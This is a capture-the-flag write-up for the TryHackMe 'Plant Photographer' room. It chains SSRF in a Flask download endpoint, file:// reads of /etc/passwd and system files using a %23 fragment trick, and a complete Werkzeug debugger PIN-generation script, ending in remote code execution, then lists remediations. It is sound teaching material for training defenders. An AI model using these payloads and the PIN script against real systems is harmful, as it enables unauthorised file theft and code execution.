Chaining SSRF, File Read & Werkzeug RCE
This is a write-up for the TryHackMe room: https://tryhackme.com/room/plantphotographer
A step-by-step walkthrough of a realistic web application attack chain

Introduction
This room presents a Flask-based portfolio website belonging to a botanist photographer. At first glance it looks innocent, but a closer look reveals a chain of critical vulnerabilities that lead to full Remote Code Execution inside the Docker container.
Attack chain overview:
Enumeration → SSRF Discovery → Source Code Leak
→ API Key → File Read → PIN Generation → RCETools Used
- Gobuster — directory enumeration
- curl — HTTP requests and exploitation
- Python 3 — PIN generation script
Phase 1 — Enumeration
Starting with directory brute-forcing to discover hidden endpoints:
bash
gobuster dir -u http://TARGET/ \
-w /usr/share/wordlists/dirb/common.txt \
-x txt,html,phpResults:
EndpointNotes/adminReturns "localhost only"/consoleWerkzeug interactive debugger/downloadFile download functionality
Inspecting the homepage source code revealed a suspicious download link:
html
<a href="/download?server=secure-file-storage.com:8087&id=75482342">
Download Resume
</a>The server parameter is user-controlled — a classic SSRF signal.
Phase 2 — SSRF Discovery
Triggering intentional errors on the /download endpoint caused the Werkzeug debugger to leak the full application source code:
python
@app.route("/download")
def download():
file_id = request.args.get('id','')
server = request.args.get('server','')
if file_id != '':
filename = str(int(file_id)) + '.pdf'
crl = pycurl.Curl()
crl.setopt(crl.URL, server + '/public-docs-.../' + filename)
crl.setopt(crl.HTTPHEADER, ['X-API-KEY: REDACTED'])
crl.perform()
```
**Problems identified:**
- `server` parameter passed directly to pycurl — no validation
- Hardcoded API key visible in plain text
- pycurl supports `file://` protocol by default
- Werkzeug debugger running in production
---
## Phase 3 — The `%23` Bypass Trick
The app appends `.pdf` to every request. To bypass this and read arbitrary files, we URL-encode `#` as `%23`.
**Why it works:** pycurl treats everything after `#` as a URL fragment and ignores it, so the `.pdf` suffix never reaches the filesystem.
```
file:///etc/passwd%23 + /public-docs/75482342.pdf
→ pycurl reads: /etc/passwd
→ ignores: /public-docs/75482342.pdfPhase 4 — Flag 1: API Key
By triggering an error and examining the Werkzeug traceback, the hardcoded API key was visible in the source code displayed by the debugger.
Lesson: Never hardcode credentials in source code. Use environment variables instead.
Phase 5 — Flag 2: Admin Section
The /admin route was protected by a simple IP check:
python
@app.route("/admin")
def admin():
if request.remote_addr == '127.0.0.1':
return send_from_directory('private-docs', 'flag.pdf')
return "Admin interface only available from localhost!!!"Using the file:// SSRF, we read the admin PDF directly from the filesystem, completely bypassing the IP restriction:
bash
curl "http://TARGET/download?\
server=file:///usr/src/app/private-docs/flag.pdf%23\
&id=75482342" --output flag.pdf
pdftotext flag.pdf -Lesson: Never rely solely on IP-based access control for sensitive routes.
Phase 6 — Werkzeug PIN Generation
The /console endpoint required a PIN. Werkzeug generates this PIN deterministically from system information — meaning if we can read that information, we can calculate the PIN.
Step 1 — Collect required values via SSRF:
bash
# MAC address
curl "http://TARGET/download?\
server=file:///sys/class/net/eth0/address%23&id=75482342"
# Container ID (first line of cgroup)
curl "http://TARGET/download?\
server=file:///proc/self/cgroup%23&id=75482342"
# Running user
curl "http://TARGET/download?\
server=file:///etc/passwd%23&id=75482342"
#for find method generate pin
$ curl "http://10.129.169.43/download?server=file:///usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py%23&id=75482342" --output pin.py;cat pas.py
werkzeug.debug
~~~~~~~~~~~~~~
WSGI application traceback debugger.
"""
import getpass
import hashlib
import json
import mimetypes
import os
import pkgutil
import re
Step 2 — Generate the PIN:
python
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # module name
'Flask', # class name
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
# MAC address converted to decimal integer
mac = 'YOUR_MAC_HERE'
mac_int = int(mac.replace(':', ''), 16)
# Docker container ID from first line of /proc/self/cgroup
container_id = 'YOUR_CONTAINER_ID_HERE'
private_bits = [str(mac_int), container_id]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(
num[x:x+group_size]
for x in range(0, len(num), group_size)
)
break
print(f'Generated PIN: {rv}')bash
python3 pin_gen.py
# Output: XXX-XXX-XXX
Phase 7 — Remote Code Execution & Flag 3
With the generated PIN, navigate to /console in the browser, enter the PIN, and gain access to an interactive Python shell.
python
# List the web directory
import os
os.listdir('/usr/src/app')
# Find all text files
import subprocess
subprocess.check_output(
['find', '/usr/src/app', '-name', '*.txt']
).decode()
# Read the flag
open('/usr/src/app/FILENAME.txt').read()
```
Flag 3 was found as a `.txt` file in the web directory.
---
## Vulnerability Summary
| # | Vulnerability | Severity | CWE |
|---|---|---|---|
| 1 | SSRF via unsanitized URL parameter | Critical | CWE-918 |
| 2 | Werkzeug debugger exposed in production | Critical | CWE-94 |
| 3 | Hardcoded API key in source code | High | CWE-798 |
| 4 | Arbitrary file read via file:// protocol | High | CWE-73 |
| 5 | Localhost bypass via SSRF | High | CWE-441 |
| 6 | PIN generation from leaked system info | High | CWE-330 |
---
## Remediation Recommendations
**Immediate fixes:**
- Disable `debug=True` in all production Flask deployments
- Validate and whitelist the `server` parameter — reject anything not matching the expected storage domain
- Move the API key to an environment variable
- Restrict pycurl protocols: disable `file://`, `gopher://`, etc.
**Defense in depth:**
- Implement network-level restrictions on internal endpoints, not just code-level IP checks
- Use a Web Application Firewall to block SSRF patterns
- Run containers as non-root users
- Implement proper secrets management
---
## Key Takeaway
This room perfectly illustrates how **a single SSRF vulnerability** can become a full system compromise when other misconfigurations exist. No single vulnerability here was catastrophic alone — but chained together they provided a complete attack path.
**The chain:**
```
SSRF → Source leak → API key (Flag 1)
→ File read → Admin bypass (Flag 2)
→ System info leak → PIN → RCE (Flag 3)Fix any one link in this chain and the attack fails.
This writeup is for educational purposes only, written as part of the TryHackMe learning platform. Always obtain proper authorization before testing any system. TryHackMe room: Plant Photographer https://tryhackme.com/room/plantphotographer
Happy hacking! 🌱